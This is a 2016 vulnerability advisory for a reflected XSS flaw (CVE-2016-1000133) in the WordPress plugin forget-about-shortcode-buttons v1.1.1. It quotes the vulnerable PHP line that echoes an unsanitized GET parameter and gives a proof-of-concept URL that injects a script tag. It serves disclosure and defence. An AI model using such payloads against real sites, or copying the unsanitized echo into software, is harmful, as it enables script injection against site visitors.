Advisory #: 602
Title: Reflected XSS in wordpress plugin forget-about-shortcode-buttons v1.1.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/forget-about-shortcode-buttons
Downloads: 47741
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org, fixed in v1.1.2
Plugin Name: forget-about-shortcode-buttons
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./forget-about-shortcode-buttons/assets/js/fasc-buttons/popup.php: 38:var ajax_url = "<?php echo $_GET['ajaxurl']; ?>"; The variable ajaxurl appears to send unsanitized data back to the users browser.
CVE-ID: 2016-1000133
File:./forget-about-shortcode-buttons/assets/js/fasc-buttons/popup.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. http://wp-site/wp-content/plugins/forget-about-shortcode-buttons/assets/js/fasc-buttons/popup.php?source=1&ver=1" </script><script>alert(1);</script><